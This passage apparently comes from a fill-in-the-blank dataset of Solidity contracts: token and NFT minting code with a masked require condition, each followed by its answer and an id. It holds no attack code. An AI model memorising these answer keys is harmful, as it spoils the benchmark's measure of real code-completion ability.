bool public tradingEnabled;
bool public prepareStep;
bool public firstStep;
bool public finish;
bool private _swapping;
bool public swapEnabled = false;
uint256 private constant _tSupply = 1e12 ether;
uint256 public maxSell = _tSupply;
uint256 public maxWallet = _tSupply;
uint256 private _fee;
uint256 public buyFee = 0;
uint256 private _previousBuyFee = buyFee;
uint256 public sellFee = 0;
uint256 private _previousSellFee = sellFee;
uint256 private _tokensForFee;
address payable private _feeReceiver;
address private _uniswapV2Pair;
modifier lockSwapping {
}
constructor() ERC20("The BARD", "BARD") payable {
}
receive() external payable {}
fallback() external payable {}
function _transfer(address from, address to, uint256 amount) internal override {
}
function _swapBack(uint256 contractBalance) internal lockSwapping {
}
function _swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 tokenAmount) internal {
}
function go(address defiDEXRouter) public onlyOwner {
}
function prepare() public onlyOwner {
}
function decreaseABit() public onlyOwner {
}
function finalStep() public onlyOwner {
}
function adjustSwapEnabled(bool booly) public onlyOwner {
}
function adjustMaxSell(uint256 _maxSell) public onlyOwner {
}
function adjustMaxWallet(uint256 _maxWallet) public onlyOwner {
require(<FILL_ME>)
maxWallet = _maxWallet;
}
function adjustFeeReceiver(address feeReceiver) public onlyOwner {
}
function excludeFees(address[] memory accounts, bool booly) public onlyOwner {
}
function excludeMaxTx(address[] memory accounts, bool booly) public onlyOwner {
}
function adjustBuyFee(uint256 _buyFee) public onlyOwner {
}
function adjustSellFee(uint256 _sellFee) public onlyOwner {
}
function _withoutFee() internal {
}
function _withFee() internal {
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee, bool isSell) internal {
}
function _grabFees(address sender, uint256 amount, bool isSell) internal returns (uint256) {
}
function unclog() public lockSwapping {
}
function rescueForeignTokens(address tkn) public {
}
}
| _maxWallet>=(totalSupply().mul(1).div(1000)),"BARD: No." | 249,934 | _maxWallet>=(totalSupply().mul(1).div(1000)) |
"BARD: No." | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract THEBARD is Context, ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router private _uniswapV2Router;
mapping (address => bool) private _excludedFees;
mapping (address => bool) private _excludedMaxTx;
bool public tradingEnabled;
bool public prepareStep;
bool public firstStep;
bool public finish;
bool private _swapping;
bool public swapEnabled = false;
uint256 private constant _tSupply = 1e12 ether;
uint256 public maxSell = _tSupply;
uint256 public maxWallet = _tSupply;
uint256 private _fee;
uint256 public buyFee = 0;
uint256 private _previousBuyFee = buyFee;
uint256 public sellFee = 0;
uint256 private _previousSellFee = sellFee;
uint256 private _tokensForFee;
address payable private _feeReceiver;
address private _uniswapV2Pair;
modifier lockSwapping {
}
constructor() ERC20("The BARD", "BARD") payable {
}
receive() external payable {}
fallback() external payable {}
function _transfer(address from, address to, uint256 amount) internal override {
}
function _swapBack(uint256 contractBalance) internal lockSwapping {
}
function _swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 tokenAmount) internal {
}
function go(address defiDEXRouter) public onlyOwner {
}
function prepare() public onlyOwner {
}
function decreaseABit() public onlyOwner {
}
function finalStep() public onlyOwner {
}
function adjustSwapEnabled(bool booly) public onlyOwner {
}
function adjustMaxSell(uint256 _maxSell) public onlyOwner {
}
function adjustMaxWallet(uint256 _maxWallet) public onlyOwner {
}
function adjustFeeReceiver(address feeReceiver) public onlyOwner {
}
function excludeFees(address[] memory accounts, bool booly) public onlyOwner {
}
function excludeMaxTx(address[] memory accounts, bool booly) public onlyOwner {
}
function adjustBuyFee(uint256 _buyFee) public onlyOwner {
}
function adjustSellFee(uint256 _sellFee) public onlyOwner {
}
function _withoutFee() internal {
}
function _withFee() internal {
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee, bool isSell) internal {
}
function _grabFees(address sender, uint256 amount, bool isSell) internal returns (uint256) {
}
function unclog() public lockSwapping {
require(<FILL_ME>)
_swapExactTokensForETHSupportingFeeOnTransferTokens(balanceOf(address(this)));
_tokensForFee = 0;
bool success;
(success,) = address(_feeReceiver).call{value: address(this).balance}("");
}
function rescueForeignTokens(address tkn) public {
}
}
| _msgSender()==_feeReceiver,"BARD: No." | 249,934 | _msgSender()==_feeReceiver |
"Being greedy" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
contract PhunksFeaturedArtists is ERC1155, Ownable {
using Counters for Counters.Counter;
Counters.Counter private mintSeriesId;
mapping(uint256 => string) artTokenUriLocation;
mapping(address => mapping(uint256 => bool)) addressToTokenClaimTracker;
address public phunksContractAddress;
IERC721 public phunkContract;
function getPhunkBalance(address _wallet) public view returns (uint256 result) {
}
constructor() ERC1155("") {
}
function set_phunks_address(address _phunks_contract_address) public onlyOwner {
}
function update_token_uri(uint256 _tokenId, string memory _uri) public onlyOwner {
}
function add_new_token(string memory _uri) public onlyOwner {
}
function mint(uint256 _id)
public
{
require(<FILL_ME>)
require(_id <= mintSeriesId.current(), "Doesnt exist");
require(getPhunkBalance(msg.sender) > 0, "Be a phunk plz");
bytes memory data;
addressToTokenClaimTracker[msg.sender][_id] = true;
_mint(msg.sender, _id, 1, data);
}
function uri(uint256 tokenId) public view virtual override returns (string memory) {
}
}
| !addressToTokenClaimTracker[msg.sender][_id],"Being greedy" | 250,104 | !addressToTokenClaimTracker[msg.sender][_id] |
"Be a phunk plz" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
contract PhunksFeaturedArtists is ERC1155, Ownable {
using Counters for Counters.Counter;
Counters.Counter private mintSeriesId;
mapping(uint256 => string) artTokenUriLocation;
mapping(address => mapping(uint256 => bool)) addressToTokenClaimTracker;
address public phunksContractAddress;
IERC721 public phunkContract;
function getPhunkBalance(address _wallet) public view returns (uint256 result) {
}
constructor() ERC1155("") {
}
function set_phunks_address(address _phunks_contract_address) public onlyOwner {
}
function update_token_uri(uint256 _tokenId, string memory _uri) public onlyOwner {
}
function add_new_token(string memory _uri) public onlyOwner {
}
function mint(uint256 _id)
public
{
require(!addressToTokenClaimTracker[msg.sender][_id], "Being greedy");
require(_id <= mintSeriesId.current(), "Doesnt exist");
require(<FILL_ME>)
bytes memory data;
addressToTokenClaimTracker[msg.sender][_id] = true;
_mint(msg.sender, _id, 1, data);
}
function uri(uint256 tokenId) public view virtual override returns (string memory) {
}
}
| getPhunkBalance(msg.sender)>0,"Be a phunk plz" | 250,104 | getPhunkBalance(msg.sender)>0 |
"Metadata is permanently frozen" | pragma solidity ^0.8.12;
contract ERC721Minter is ERC721, Ownable {
using Counters for Counters.Counter;
uint256 private constant AMOUNT_FOR_ALLOW_LIST = 994;
uint256 private constant AMOUNT_FOR_DEVS = 6;
uint256 private constant MAX_ALLOWED_TO_MINT = 10;
Counters.Counter private _tokenIdTracker;
/// @dev Base token URI used as a prefix by tokenURI().
string public baseTokenURI;
bool public saleIsActive = false;
bool public metadataIsFrozen = false;
uint256 public mintPrice = 0.1 ether;
constructor(string memory name, string memory symbol)
ERC721(name, symbol)
{
}
//////////////////////////////////////////////////////
// External methods
//////////////////////////////////////////////////////
function setBaseTokenURI(string memory _baseTokenURI) external onlyOwner {
require(<FILL_ME>)
baseTokenURI = _baseTokenURI;
}
/**
@notice Mints token(s) to the caller if requirements are met.
@param numberOfTokens Number of tokens to mint to the caller.
*/
function allowListMint(uint256 numberOfTokens) external payable {
}
/**
@notice Makes sale active (or pauses sale if necessary).
*/
function toggleSaleState() external onlyOwner {
}
/**
@notice Withdraws balance to the supplied address.
*/
function withdrawTo(address to) external onlyOwner {
}
/**
@notice Freezes metadata when ready to permanently lock.
*/
function freezeMetadata() external onlyOwner {
}
//////////////////////////////////////////////////////
// Public methods
//////////////////////////////////////////////////////
/**
@notice Gets next available token id.
*/
function getNextTokenId() public view returns (uint256) {
}
/**
@notice Returns the total amount of tokens stored by the contract.
*/
function totalSupply() public view returns (uint256) {
}
//////////////////////////////////////////////////////
// Internal methods
//////////////////////////////////////////////////////
function _baseURI() internal view virtual override returns (string memory) {
}
//////////////////////////////////////////////////////
// Private methods
//////////////////////////////////////////////////////
/**
@notice Mints to the supplied address.
*/
function _mintTo(address to) private {
}
}
| !metadataIsFrozen,"Metadata is permanently frozen" | 250,142 | !metadataIsFrozen |
"Insufficient funds provided" | pragma solidity ^0.8.12;
contract ERC721Minter is ERC721, Ownable {
using Counters for Counters.Counter;
uint256 private constant AMOUNT_FOR_ALLOW_LIST = 994;
uint256 private constant AMOUNT_FOR_DEVS = 6;
uint256 private constant MAX_ALLOWED_TO_MINT = 10;
Counters.Counter private _tokenIdTracker;
/// @dev Base token URI used as a prefix by tokenURI().
string public baseTokenURI;
bool public saleIsActive = false;
bool public metadataIsFrozen = false;
uint256 public mintPrice = 0.1 ether;
constructor(string memory name, string memory symbol)
ERC721(name, symbol)
{
}
//////////////////////////////////////////////////////
// External methods
//////////////////////////////////////////////////////
function setBaseTokenURI(string memory _baseTokenURI) external onlyOwner {
}
/**
@notice Mints token(s) to the caller if requirements are met.
@param numberOfTokens Number of tokens to mint to the caller.
*/
function allowListMint(uint256 numberOfTokens) external payable {
require(saleIsActive, "Sale must be active to claim");
require(numberOfTokens <= MAX_ALLOWED_TO_MINT, "Purchase would exceed max tokens allowed to mint");
require(<FILL_ME>)
require((totalSupply() + numberOfTokens) <= AMOUNT_FOR_ALLOW_LIST + AMOUNT_FOR_DEVS, "Purchase would exceed max token supply");
for (uint256 i = 0; i < numberOfTokens; i++) {
_mintTo(_msgSender());
}
// Refund if over
if (msg.value > (mintPrice * numberOfTokens)) {
payable(_msgSender()).transfer(msg.value - (mintPrice * numberOfTokens));
}
}
/**
@notice Makes sale active (or pauses sale if necessary).
*/
function toggleSaleState() external onlyOwner {
}
/**
@notice Withdraws balance to the supplied address.
*/
function withdrawTo(address to) external onlyOwner {
}
/**
@notice Freezes metadata when ready to permanently lock.
*/
function freezeMetadata() external onlyOwner {
}
//////////////////////////////////////////////////////
// Public methods
//////////////////////////////////////////////////////
/**
@notice Gets next available token id.
*/
function getNextTokenId() public view returns (uint256) {
}
/**
@notice Returns the total amount of tokens stored by the contract.
*/
function totalSupply() public view returns (uint256) {
}
//////////////////////////////////////////////////////
// Internal methods
//////////////////////////////////////////////////////
function _baseURI() internal view virtual override returns (string memory) {
}
//////////////////////////////////////////////////////
// Private methods
//////////////////////////////////////////////////////
/**
@notice Mints to the supplied address.
*/
function _mintTo(address to) private {
}
}
| msg.value>=(mintPrice*numberOfTokens),"Insufficient funds provided" | 250,142 | msg.value>=(mintPrice*numberOfTokens) |
"Purchase would exceed max token supply" | pragma solidity ^0.8.12;
contract ERC721Minter is ERC721, Ownable {
using Counters for Counters.Counter;
uint256 private constant AMOUNT_FOR_ALLOW_LIST = 994;
uint256 private constant AMOUNT_FOR_DEVS = 6;
uint256 private constant MAX_ALLOWED_TO_MINT = 10;
Counters.Counter private _tokenIdTracker;
/// @dev Base token URI used as a prefix by tokenURI().
string public baseTokenURI;
bool public saleIsActive = false;
bool public metadataIsFrozen = false;
uint256 public mintPrice = 0.1 ether;
constructor(string memory name, string memory symbol)
ERC721(name, symbol)
{
}
//////////////////////////////////////////////////////
// External methods
//////////////////////////////////////////////////////
function setBaseTokenURI(string memory _baseTokenURI) external onlyOwner {
}
/**
@notice Mints token(s) to the caller if requirements are met.
@param numberOfTokens Number of tokens to mint to the caller.
*/
function allowListMint(uint256 numberOfTokens) external payable {
require(saleIsActive, "Sale must be active to claim");
require(numberOfTokens <= MAX_ALLOWED_TO_MINT, "Purchase would exceed max tokens allowed to mint");
require(msg.value >= (mintPrice * numberOfTokens), "Insufficient funds provided");
require(<FILL_ME>)
for (uint256 i = 0; i < numberOfTokens; i++) {
_mintTo(_msgSender());
}
// Refund if over
if (msg.value > (mintPrice * numberOfTokens)) {
payable(_msgSender()).transfer(msg.value - (mintPrice * numberOfTokens));
}
}
/**
@notice Makes sale active (or pauses sale if necessary).
*/
function toggleSaleState() external onlyOwner {
}
/**
@notice Withdraws balance to the supplied address.
*/
function withdrawTo(address to) external onlyOwner {
}
/**
@notice Freezes metadata when ready to permanently lock.
*/
function freezeMetadata() external onlyOwner {
}
//////////////////////////////////////////////////////
// Public methods
//////////////////////////////////////////////////////
/**
@notice Gets next available token id.
*/
function getNextTokenId() public view returns (uint256) {
}
/**
@notice Returns the total amount of tokens stored by the contract.
*/
function totalSupply() public view returns (uint256) {
}
//////////////////////////////////////////////////////
// Internal methods
//////////////////////////////////////////////////////
function _baseURI() internal view virtual override returns (string memory) {
}
//////////////////////////////////////////////////////
// Private methods
//////////////////////////////////////////////////////
/**
@notice Mints to the supplied address.
*/
function _mintTo(address to) private {
}
}
| (totalSupply()+numberOfTokens)<=AMOUNT_FOR_ALLOW_LIST+AMOUNT_FOR_DEVS,"Purchase would exceed max token supply" | 250,142 | (totalSupply()+numberOfTokens)<=AMOUNT_FOR_ALLOW_LIST+AMOUNT_FOR_DEVS |
"Reached max token supply" | pragma solidity ^0.8.12;
contract ERC721Minter is ERC721, Ownable {
using Counters for Counters.Counter;
uint256 private constant AMOUNT_FOR_ALLOW_LIST = 994;
uint256 private constant AMOUNT_FOR_DEVS = 6;
uint256 private constant MAX_ALLOWED_TO_MINT = 10;
Counters.Counter private _tokenIdTracker;
/// @dev Base token URI used as a prefix by tokenURI().
string public baseTokenURI;
bool public saleIsActive = false;
bool public metadataIsFrozen = false;
uint256 public mintPrice = 0.1 ether;
constructor(string memory name, string memory symbol)
ERC721(name, symbol)
{
}
//////////////////////////////////////////////////////
// External methods
//////////////////////////////////////////////////////
function setBaseTokenURI(string memory _baseTokenURI) external onlyOwner {
}
/**
@notice Mints token(s) to the caller if requirements are met.
@param numberOfTokens Number of tokens to mint to the caller.
*/
function allowListMint(uint256 numberOfTokens) external payable {
}
/**
@notice Makes sale active (or pauses sale if necessary).
*/
function toggleSaleState() external onlyOwner {
}
/**
@notice Withdraws balance to the supplied address.
*/
function withdrawTo(address to) external onlyOwner {
}
/**
@notice Freezes metadata when ready to permanently lock.
*/
function freezeMetadata() external onlyOwner {
}
//////////////////////////////////////////////////////
// Public methods
//////////////////////////////////////////////////////
/**
@notice Gets next available token id.
*/
function getNextTokenId() public view returns (uint256) {
}
/**
@notice Returns the total amount of tokens stored by the contract.
*/
function totalSupply() public view returns (uint256) {
}
//////////////////////////////////////////////////////
// Internal methods
//////////////////////////////////////////////////////
function _baseURI() internal view virtual override returns (string memory) {
}
//////////////////////////////////////////////////////
// Private methods
//////////////////////////////////////////////////////
/**
@notice Mints to the supplied address.
*/
function _mintTo(address to) private {
require(<FILL_ME>)
_mint(to, getNextTokenId());
_tokenIdTracker.increment();
}
}
| getNextTokenId()<=AMOUNT_FOR_ALLOW_LIST+AMOUNT_FOR_DEVS,"Reached max token supply" | 250,142 | getNextTokenId()<=AMOUNT_FOR_ALLOW_LIST+AMOUNT_FOR_DEVS |
"Already claimed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./interfaces/IKonduxFounders.sol";
import "./interfaces/ITreasury.sol";
import "./interfaces/IKondux.sol";
import "./types/AccessControlled.sol";
import "hardhat/console.sol";
contract MinterFounders is AccessControlled {
uint256 public priceFounders020;
uint256 public priceFounders025;
uint256 public priceFreeKNFT;
uint256 public priceFreeFounders;
bytes32 public rootFreeFounders;
bytes32 public rootFounders020;
bytes32 public rootFounders025;
bytes32 public rootFreeKNFT;
bool public pausedWhitelist;
bool public pausedFounders020;
bool public pausedFounders025;
bool public pausedFreeFounders;
bool public pausedFreeKNFT;
IKondux public kondux;
IKonduxFounders public konduxFounders;
ITreasury public treasury;
mapping (address => bool) public founders020Claimed;
mapping (address => bool) public founders025Claimed;
mapping (address => bool) public freeFoundersClaimed;
mapping (address => bool) public freeKNFTClaimed;
constructor(address _authority, address _konduxFounders, address _kondux, address _vault)
AccessControlled(IAuthority(_authority)) {
}
function setPriceFounders020(uint256 _price) public onlyGovernor {
}
function setPriceFounders025(uint256 _price) public onlyGovernor {
}
function setPriceFreeFounders(uint256 _price) public onlyGovernor {
}
function setPriceFreeKNFT(uint256 _price) public onlyGovernor {
}
function setPausedFounders020(bool _paused) public onlyGovernor {
}
function setPausedFounders025(bool _paused) public onlyGovernor {
}
function setPausedFreeFounders(bool _paused) public onlyGovernor {
}
function setPausedFreeKNFT(bool _paused) public onlyGovernor {
}
function whitelistMintFounders020(bytes32[] calldata _merkleProof) public payable isFounders020Active returns (uint256) {
require(msg.value >= priceFounders020, "Not enought ether");
require(<FILL_ME>)
treasury.depositEther{ value: msg.value }();
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(_merkleProof, rootFounders020, leaf), "Incorrect proof");
founders020Claimed[msg.sender] = true;
return _mintFounders();
}
function whitelistMintFounders025(bytes32[] calldata _merkleProof) public payable isFounders025Active returns (uint256) {
}
function whitelistMintFreeKNFT(bytes32[] calldata _merkleProof) public isFreeKNFTActive returns (uint256) {
}
function whitelistMintFreeFounders(bytes32[] calldata _merkleProof) public isFreeFoundersActive returns (uint256) {
}
function setRootFreeFounders(bytes32 _rootFreeFounders) public onlyGovernor {
}
function setRootFounders020(bytes32 _rootFounders020) public onlyGovernor {
}
function setRootFounders025(bytes32 _rootFounders025) public onlyGovernor {
}
function setRootFreeKNFT(bytes32 _rootFreeKNFT) public onlyGovernor {
}
function setTreasury(address _treasury) public onlyGovernor {
}
function setKonduxFounders(address _konduxFounders) public onlyGovernor {
}
// TODO: REMOVE BEFORE DEPLOY TO MAINNET
// function unclaimAddress(address _address) public {
// founders020Claimed[_address] = false;
// founders025Claimed[_address] = false;
// freeFoundersClaimed[_address] = false;
// freeKNFTClaimed[_address] = false;
// }
// ** INTERNAL FUNCTIONS **
function _mintFounders() internal returns (uint256) {
}
function _mintKNFT() internal returns (uint256) {
}
// ** MODIFIERS **
modifier isFounders020Active() {
}
modifier isFounders025Active() {
}
modifier isFreeFoundersActive() {
}
modifier isFreeKNFTActive() {
}
}
| !founders020Claimed[msg.sender],"Already claimed" | 250,184 | !founders020Claimed[msg.sender] |
"Incorrect proof" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./interfaces/IKonduxFounders.sol";
import "./interfaces/ITreasury.sol";
import "./interfaces/IKondux.sol";
import "./types/AccessControlled.sol";
import "hardhat/console.sol";
contract MinterFounders is AccessControlled {
uint256 public priceFounders020;
uint256 public priceFounders025;
uint256 public priceFreeKNFT;
uint256 public priceFreeFounders;
bytes32 public rootFreeFounders;
bytes32 public rootFounders020;
bytes32 public rootFounders025;
bytes32 public rootFreeKNFT;
bool public pausedWhitelist;
bool public pausedFounders020;
bool public pausedFounders025;
bool public pausedFreeFounders;
bool public pausedFreeKNFT;
IKondux public kondux;
IKonduxFounders public konduxFounders;
ITreasury public treasury;
mapping (address => bool) public founders020Claimed;
mapping (address => bool) public founders025Claimed;
mapping (address => bool) public freeFoundersClaimed;
mapping (address => bool) public freeKNFTClaimed;
constructor(address _authority, address _konduxFounders, address _kondux, address _vault)
AccessControlled(IAuthority(_authority)) {
}
function setPriceFounders020(uint256 _price) public onlyGovernor {
}
function setPriceFounders025(uint256 _price) public onlyGovernor {
}
function setPriceFreeFounders(uint256 _price) public onlyGovernor {
}
function setPriceFreeKNFT(uint256 _price) public onlyGovernor {
}
function setPausedFounders020(bool _paused) public onlyGovernor {
}
function setPausedFounders025(bool _paused) public onlyGovernor {
}
function setPausedFreeFounders(bool _paused) public onlyGovernor {
}
function setPausedFreeKNFT(bool _paused) public onlyGovernor {
}
function whitelistMintFounders020(bytes32[] calldata _merkleProof) public payable isFounders020Active returns (uint256) {
require(msg.value >= priceFounders020, "Not enought ether");
require(!founders020Claimed[msg.sender], "Already claimed");
treasury.depositEther{ value: msg.value }();
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(<FILL_ME>)
founders020Claimed[msg.sender] = true;
return _mintFounders();
}
function whitelistMintFounders025(bytes32[] calldata _merkleProof) public payable isFounders025Active returns (uint256) {
}
function whitelistMintFreeKNFT(bytes32[] calldata _merkleProof) public isFreeKNFTActive returns (uint256) {
}
function whitelistMintFreeFounders(bytes32[] calldata _merkleProof) public isFreeFoundersActive returns (uint256) {
}
function setRootFreeFounders(bytes32 _rootFreeFounders) public onlyGovernor {
}
function setRootFounders020(bytes32 _rootFounders020) public onlyGovernor {
}
function setRootFounders025(bytes32 _rootFounders025) public onlyGovernor {
}
function setRootFreeKNFT(bytes32 _rootFreeKNFT) public onlyGovernor {
}
function setTreasury(address _treasury) public onlyGovernor {
}
function setKonduxFounders(address _konduxFounders) public onlyGovernor {
}
// TODO: REMOVE BEFORE DEPLOY TO MAINNET
// function unclaimAddress(address _address) public {
// founders020Claimed[_address] = false;
// founders025Claimed[_address] = false;
// freeFoundersClaimed[_address] = false;
// freeKNFTClaimed[_address] = false;
// }
// ** INTERNAL FUNCTIONS **
function _mintFounders() internal returns (uint256) {
}
function _mintKNFT() internal returns (uint256) {
}
// ** MODIFIERS **
modifier isFounders020Active() {
}
modifier isFounders025Active() {
}
modifier isFreeFoundersActive() {
}
modifier isFreeKNFTActive() {
}
}
| MerkleProof.verify(_merkleProof,rootFounders020,leaf),"Incorrect proof" | 250,184 | MerkleProof.verify(_merkleProof,rootFounders020,leaf) |
"Already claimed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./interfaces/IKonduxFounders.sol";
import "./interfaces/ITreasury.sol";
import "./interfaces/IKondux.sol";
import "./types/AccessControlled.sol";
import "hardhat/console.sol";
contract MinterFounders is AccessControlled {
uint256 public priceFounders020;
uint256 public priceFounders025;
uint256 public priceFreeKNFT;
uint256 public priceFreeFounders;
bytes32 public rootFreeFounders;
bytes32 public rootFounders020;
bytes32 public rootFounders025;
bytes32 public rootFreeKNFT;
bool public pausedWhitelist;
bool public pausedFounders020;
bool public pausedFounders025;
bool public pausedFreeFounders;
bool public pausedFreeKNFT;
IKondux public kondux;
IKonduxFounders public konduxFounders;
ITreasury public treasury;
mapping (address => bool) public founders020Claimed;
mapping (address => bool) public founders025Claimed;
mapping (address => bool) public freeFoundersClaimed;
mapping (address => bool) public freeKNFTClaimed;
constructor(address _authority, address _konduxFounders, address _kondux, address _vault)
AccessControlled(IAuthority(_authority)) {
}
function setPriceFounders020(uint256 _price) public onlyGovernor {
}
function setPriceFounders025(uint256 _price) public onlyGovernor {
}
function setPriceFreeFounders(uint256 _price) public onlyGovernor {
}
function setPriceFreeKNFT(uint256 _price) public onlyGovernor {
}
function setPausedFounders020(bool _paused) public onlyGovernor {
}
function setPausedFounders025(bool _paused) public onlyGovernor {
}
function setPausedFreeFounders(bool _paused) public onlyGovernor {
}
function setPausedFreeKNFT(bool _paused) public onlyGovernor {
}
function whitelistMintFounders020(bytes32[] calldata _merkleProof) public payable isFounders020Active returns (uint256) {
}
function whitelistMintFounders025(bytes32[] calldata _merkleProof) public payable isFounders025Active returns (uint256) {
require(msg.value >= priceFounders025, "Not enought ether");
require(<FILL_ME>)
treasury.depositEther{ value: msg.value }();
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(_merkleProof, rootFounders025, leaf), "Incorrect proof");
founders025Claimed[msg.sender] = true;
return _mintFounders();
}
function whitelistMintFreeKNFT(bytes32[] calldata _merkleProof) public isFreeKNFTActive returns (uint256) {
}
function whitelistMintFreeFounders(bytes32[] calldata _merkleProof) public isFreeFoundersActive returns (uint256) {
}
function setRootFreeFounders(bytes32 _rootFreeFounders) public onlyGovernor {
}
function setRootFounders020(bytes32 _rootFounders020) public onlyGovernor {
}
function setRootFounders025(bytes32 _rootFounders025) public onlyGovernor {
}
function setRootFreeKNFT(bytes32 _rootFreeKNFT) public onlyGovernor {
}
function setTreasury(address _treasury) public onlyGovernor {
}
function setKonduxFounders(address _konduxFounders) public onlyGovernor {
}
// TODO: REMOVE BEFORE DEPLOY TO MAINNET
// function unclaimAddress(address _address) public {
// founders020Claimed[_address] = false;
// founders025Claimed[_address] = false;
// freeFoundersClaimed[_address] = false;
// freeKNFTClaimed[_address] = false;
// }
// ** INTERNAL FUNCTIONS **
function _mintFounders() internal returns (uint256) {
}
function _mintKNFT() internal returns (uint256) {
}
// ** MODIFIERS **
modifier isFounders020Active() {
}
modifier isFounders025Active() {
}
modifier isFreeFoundersActive() {
}
modifier isFreeKNFTActive() {
}
}
| !founders025Claimed[msg.sender],"Already claimed" | 250,184 | !founders025Claimed[msg.sender] |
"Incorrect proof" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./interfaces/IKonduxFounders.sol";
import "./interfaces/ITreasury.sol";
import "./interfaces/IKondux.sol";
import "./types/AccessControlled.sol";
import "hardhat/console.sol";
contract MinterFounders is AccessControlled {
uint256 public priceFounders020;
uint256 public priceFounders025;
uint256 public priceFreeKNFT;
uint256 public priceFreeFounders;
bytes32 public rootFreeFounders;
bytes32 public rootFounders020;
bytes32 public rootFounders025;
bytes32 public rootFreeKNFT;
bool public pausedWhitelist;
bool public pausedFounders020;
bool public pausedFounders025;
bool public pausedFreeFounders;
bool public pausedFreeKNFT;
IKondux public kondux;
IKonduxFounders public konduxFounders;
ITreasury public treasury;
mapping (address => bool) public founders020Claimed;
mapping (address => bool) public founders025Claimed;
mapping (address => bool) public freeFoundersClaimed;
mapping (address => bool) public freeKNFTClaimed;
constructor(address _authority, address _konduxFounders, address _kondux, address _vault)
AccessControlled(IAuthority(_authority)) {
}
function setPriceFounders020(uint256 _price) public onlyGovernor {
}
function setPriceFounders025(uint256 _price) public onlyGovernor {
}
function setPriceFreeFounders(uint256 _price) public onlyGovernor {
}
function setPriceFreeKNFT(uint256 _price) public onlyGovernor {
}
function setPausedFounders020(bool _paused) public onlyGovernor {
}
function setPausedFounders025(bool _paused) public onlyGovernor {
}
function setPausedFreeFounders(bool _paused) public onlyGovernor {
}
function setPausedFreeKNFT(bool _paused) public onlyGovernor {
}
function whitelistMintFounders020(bytes32[] calldata _merkleProof) public payable isFounders020Active returns (uint256) {
}
function whitelistMintFounders025(bytes32[] calldata _merkleProof) public payable isFounders025Active returns (uint256) {
require(msg.value >= priceFounders025, "Not enought ether");
require(!founders025Claimed[msg.sender], "Already claimed");
treasury.depositEther{ value: msg.value }();
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(<FILL_ME>)
founders025Claimed[msg.sender] = true;
return _mintFounders();
}
function whitelistMintFreeKNFT(bytes32[] calldata _merkleProof) public isFreeKNFTActive returns (uint256) {
}
function whitelistMintFreeFounders(bytes32[] calldata _merkleProof) public isFreeFoundersActive returns (uint256) {
}
function setRootFreeFounders(bytes32 _rootFreeFounders) public onlyGovernor {
}
function setRootFounders020(bytes32 _rootFounders020) public onlyGovernor {
}
function setRootFounders025(bytes32 _rootFounders025) public onlyGovernor {
}
function setRootFreeKNFT(bytes32 _rootFreeKNFT) public onlyGovernor {
}
function setTreasury(address _treasury) public onlyGovernor {
}
function setKonduxFounders(address _konduxFounders) public onlyGovernor {
}
// TODO: REMOVE BEFORE DEPLOY TO MAINNET
// function unclaimAddress(address _address) public {
// founders020Claimed[_address] = false;
// founders025Claimed[_address] = false;
// freeFoundersClaimed[_address] = false;
// freeKNFTClaimed[_address] = false;
// }
// ** INTERNAL FUNCTIONS **
function _mintFounders() internal returns (uint256) {
}
function _mintKNFT() internal returns (uint256) {
}
// ** MODIFIERS **
modifier isFounders020Active() {
}
modifier isFounders025Active() {
}
modifier isFreeFoundersActive() {
}
modifier isFreeKNFTActive() {
}
}
| MerkleProof.verify(_merkleProof,rootFounders025,leaf),"Incorrect proof" | 250,184 | MerkleProof.verify(_merkleProof,rootFounders025,leaf) |
"Already claimed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./interfaces/IKonduxFounders.sol";
import "./interfaces/ITreasury.sol";
import "./interfaces/IKondux.sol";
import "./types/AccessControlled.sol";
import "hardhat/console.sol";
contract MinterFounders is AccessControlled {
uint256 public priceFounders020;
uint256 public priceFounders025;
uint256 public priceFreeKNFT;
uint256 public priceFreeFounders;
bytes32 public rootFreeFounders;
bytes32 public rootFounders020;
bytes32 public rootFounders025;
bytes32 public rootFreeKNFT;
bool public pausedWhitelist;
bool public pausedFounders020;
bool public pausedFounders025;
bool public pausedFreeFounders;
bool public pausedFreeKNFT;
IKondux public kondux;
IKonduxFounders public konduxFounders;
ITreasury public treasury;
mapping (address => bool) public founders020Claimed;
